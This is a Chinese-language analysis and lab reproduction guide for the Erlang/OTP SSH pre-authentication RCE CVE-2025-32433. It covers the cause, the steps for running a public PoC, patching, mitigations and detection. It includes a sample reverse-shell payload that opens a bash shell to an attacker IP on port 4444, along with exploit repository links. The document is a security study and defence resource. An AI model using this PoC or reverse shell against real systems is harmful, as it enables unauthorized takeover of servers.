Erlang/OTP SSH 漏洞 CVE-2025-32433 技术分析与复现指南

1. 漏洞概述

CVE编号: CVE-2025-32433
CVSS评分: 10.0 (最高危)
漏洞类型: 远程代码执行 (RCE)
影响组件: Erlang/OTP SSH 实现
发现者: 波鸿鲁尔大学研究人员
公开日期: 2025年5月8日

2. 技术背景

2.1 Erlang/OTP 简介

Erlang 是一种函数式编程语言，专为构建高可用性、分布式实时系统而设计。Open Telecom Platform (OTP) 是 Erlang 的配套框架，包含中间件、库和工具集合。

关键特性:

• 电信级可靠性
• 热代码替换
• 轻量级进程模型
• 内置分布式支持

2.2 SSH 协议实现

Erlang/OTP 提供了 SSH 协议的完整实现，支持:

• 安全 shell 访问
• 安全文件传输
• 基于 Erlang 系统的远程管理

3. 漏洞原理

3.1 根本原因

漏洞存在于 SSH 协议预身份验证阶段的连接协议消息处理中:

• SSH 规范规定消息号 80 及以上保留用于后身份验证阶段
• 易受攻击的 Erlang/OTP 实现未在身份验证前正确验证这些消息
• 攻击者可伪造高编号消息实现预认证 RCE

3.2 攻击流程

攻击分为四个阶段:

1. 建立初始 SSH 连接
2. 发送特制的预认证消息
3. 绕过身份验证检查
4. 执行任意 Erlang 代码

4. 漏洞复现

4.1 环境准备

测试环境:

• 攻击机: Kali Linux 2025
• 目标机: 运行易受攻击 Erlang/OTP 版本的系统

工具下载:

git clone https://github.com/ProDefense/CVE-2025-32433
cd CVE-2025-32433

4.2 PoC 修改

编辑 CVE-2025-32433.py 文件，修改前六行为目标信息:

#!/usr/bin/env python3
import socket
import time

MACHINE_IP = "目标IP"
PORT = 22  # 默认SSH端口

4.3 执行攻击

运行 PoC 脚本:

python3 CVE-2025-32433.py

预期效果:

• 目标系统创建文件 lab.txt
• 文件内容为 pwned

5. 漏洞利用开发

5.1 Metasploit 模块

已有 Metasploit 模块可用:

• 模块 PR: https://github.com/rapid7/metasploit-framework/pull/20060
• 独立利用代码: https://github.com/exa-offsec/ssh_erlangotp_rce

5.2 自定义载荷开发

修改 PoC 中的 Erlang 代码段实现自定义功能:

%% 示例: 反向shell
os:cmd("bash -i >& /dev/tcp/攻击机IP/4444 0>&1").

6. 防御措施

6.1 官方补丁

升级到已修复的 Erlang/OTP 版本:

• 检查官方安全公告: https://github.com/erlang/otp/security/advisories/GHSA-37cp-fgq5-7wc2

6.2 临时缓解方案

1. 网络层防护:

   • 防火墙限制 SSH 访问
   • IDS/IPS 规则检测异常 SSH 流量

2. 系统层防护:

   • 使用非标准 SSH 端口
   • 实施证书认证替代密码认证

7. 深入分析

7.1 漏洞代码分析

关键问题位于 ssh_connection.erl 中:

handle_msg(#ssh_msg_global_request{} = Msg, State) ->
    %% 缺失预认证检查
    handle_global_request(Msg, State);

7.2 协议规范对比

8. 影响评估

8.1 受影响版本

• Erlang/OTP 25.0 至 25.3.2
• Erlang/OTP 26.0 至 26.1.1
• 其他包含易受攻击 SSH 实现的版本

8.2 潜在影响

• 完全系统接管
• 横向移动至内网
• 持久化后门安装
• 数据泄露

9. 参考资源

1. 官方安全公告: https://github.com/erlang/otp/security/advisories/GHSA-37cp-fgq5-7wc2
2. NVD 条目: https://nvd.nist.gov/vuln/detail/CVE-2025-32433
3. 技术分析: https://www.upwind.io/feed/cve-2025-32433-critical-erlang-otp-ssh-vulnerability-cvss-10
4. PoC 开发指南: https://platformsecurity.com/blog/CVE-2025-32433-poc

10. 附录

10.1 常见问题

Q: 如何检测系统是否受影响?
A: 检查 Erlang 版本并验证 SSH 服务是否暴露。

Q: 是否有自动化检测工具?
A: 可使用 nmap 脚本检测易受攻击服务:

nmap -sV --script ssh-erlang-check <target>

10.2 测试注意事项

1. 仅在授权环境下测试
2. 避免使用破坏性载荷
3. 测试前备份关键数据
4. 遵守当地法律法规